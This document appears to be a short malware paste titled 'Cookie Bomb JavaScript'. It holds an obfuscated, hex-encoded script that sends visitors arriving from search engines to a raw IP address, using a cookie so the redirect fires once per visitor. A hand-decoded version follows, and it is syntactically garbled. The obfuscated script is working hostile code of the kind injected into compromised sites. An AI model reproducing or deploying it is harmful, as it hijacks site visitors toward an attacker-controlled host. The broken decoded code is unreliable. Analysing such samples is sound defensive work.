Cookie Bomb JavaScript

var _0xe2b8=["\x72\x65\x66\x65\x72\x72\x65\x72","\x67\x6F\x6F\x67\x6C\x65","\x79\x61\x68\x6F\x6F","\x62\x69\x6E\x67","\x79\x61\x6E\x64\x65\x78","\x62\x61\x69\x64\x75","\x67\x69\x67\x61\x62\x6C\x61\x73\x74","\x73\x6F\x73\x6F","\x62\x6C\x65\x6B\x6B\x6F","\x65\x78\x61\x6C\x65\x61\x64","\x73\x6F\x67\x6F\x75","\x64\x75\x63\x6B\x64\x75\x63\x6B\x67\x6F","\x76\x6F\x6C\x75\x6E\x69\x61","\x6C\x65\x6E\x67\x74\x68","\x69\x6E\x64\x65\x78\x4F\x66","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x32\x33\x39\x2E\x31\x35\x2E\x36\x31\x2F\x67\x2E\x70\x68\x70","\x63\x6F\x6F\x6B\x69\x65","\x20","\x3D","\x3B","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x44\x61\x74\x65","","\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x72\x65\x66\x65\x72\x72\x65\x72\x52\x65\x64\x69\x72\x65\x63\x74\x43\x6F\x6F\x6B\x69\x65","\x64\x6F\x20\x6E\x6F\x74\x20\x72\x65\x64\x69\x72\x65\x63\x74"];

var from=document[_0xe2b8[0]];
var i;
var se=[_0xe2b8[1],_0xe2b8[2],_0xe2b8[3],_0xe2b8[4],_0xe2b8[5],_0xe2b8[6],
       _0xe2b8[7],_0xe2b8[8],_0xe2b8[9],_0xe2b8[10],_0xe2b8[11],_0xe2b8[12]];

for(i=0;i<se[_0xe2b8[13]];++i)
 {
   if(from[_0xe2b8[14]](se[i])+1)
   {
     if(!checkCookie())
     {
       window[_0xe2b8[15]]=_0xe2b8[16];
     };
   };
 };


function getCookie(_0xecdex5)
 {
   var _0xecdex6=document[_0xe2b8[17]];
   var _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[18]+_0xecdex5+_0xe2b8[19]);
   if(_0xecdex7==-1)
   {
     _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xecdex5+_0xe2b8[19]);
   };
   if(_0xecdex7==-1)
   {
     _0xecdex6=null;
   }
   else
   {
     _0xecdex7=_0xecdex6[_0xe2b8[14]](_0xe2b8[19],_0xecdex7)+1;
     var _0xecdex8=_0xecdex6[_0xe2b8[14]](_0xe2b8[20],_0xecdex7);
     if(_0xecdex8==-1)
     {
       _0xecdex8=_0xecdex6[_0xe2b8[13]];
     };
     _0xecdex6=unescape(_0xecdex6[_0xe2b8[21]](_0xecdex7,_0xecdex8));
   };
   return _0xecdex6;
 };


function setCookie(_0xecdex5,_0xecdexa,_0xecdexb)
 {
   var _0xecdexc= new Date();
   _0xecdexc[_0xe2b8[23]](_0xecdexc[_0xe2b8[22]]()+_0xecdexb);
   var _0xecdex6=escape(_0xecdexa)+((_0xecdexb==null)?_0xe2b8[24]:_0xe2b8[25]+_0xecdexc[_0xe2b8[26]]());
   document[_0xe2b8[17]]=_0xecdex5+_0xe2b8[19]+_0xecdex6;
 };



function checkCookie()
 {
   var _0xecdexe=getCookie(_0xe2b8[27]);
   if(_0xecdexe!=null&&_0xecdexe!=_0xe2b8[24])
   {
     return true;
   }
   else
   {
     setCookie(_0xe2b8[27],_0xe2b8[28],730);
     return false;
   };
 };
#######################################################################################################
DECODED

<?  var _0xe2b8=["referrer","google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia","length","indexOf","location","http://91.239.15.61/g.php","cookie"," ","=",";","substring","getDate","setDate","","; expires=","toUTCString","referrerRedirectCookie","do not redirect"];

##################### we replace the original variables with the corresponding values
var from=document["referrer"];
var i;
var se=["google","yahoo","bing","yandex","baidu","gigablast","soso","blekko","exalead","sogou","duckduckgo","volunia"];

for(i=0;i<se["length"];++i)
 {
   if(from["indexOf"](se[i])+1)
   {
     if(!checkCookie())
     {
       window["location"]="http://91.239.15.61/g.php";
     };
   };
 };


function getCookie(_0xecdex5)
 {
   var _0xecdex6=document["cookie"];
   var _0xecdex7= indexOf(" "+ _0xecdex5 +=);
   if(_0xecdex7==-1)
   {
     _0xecdex7= indexOf(_0xecdex5+=);
   };
   if(_0xecdex7==-1)
   {
     _0xecdex6=null;
   }
   else
   {
     _0xecdex7=indexOf(=,_0xecdex7)+1;
     var _0xecdex8=indexOf(;,_0xecdex7);
     if(_0xecdex8==-1)
     {
       _0xecdex8=length;
     };
     _0xecdex6=unescape(substring(_0xecdex7,_0xecdex8));
   };
   return _0xecdex6;
 };

function setCookie(_0xecdex5,_0xecdexa,_0xecdexb)
 {
   var _0xecdexc= new Date();
   _0xecdexc["setDate"](_0xecdexc["getDate"]()+_0xecdexb);
   var _0xecdex6=escape(_0xecdexa)+((_0xecdexb==null)?:; expires=]+_0xecdexc["toUTCString"]());
   document["cookie"]=_0xecdex5+=+_0xecdex6;
 };



function checkCookie()
 {
   var _0xecdexe=getCookie(referrerRedirectCookie);
   if(_0xecdexe!=null&&_0xecdexe!="")
   {
     return true;
   }
   else
   {
     setCookie(referrerRedirectCookie,"do not redirect",730);
     return false;
   };
 }; ?>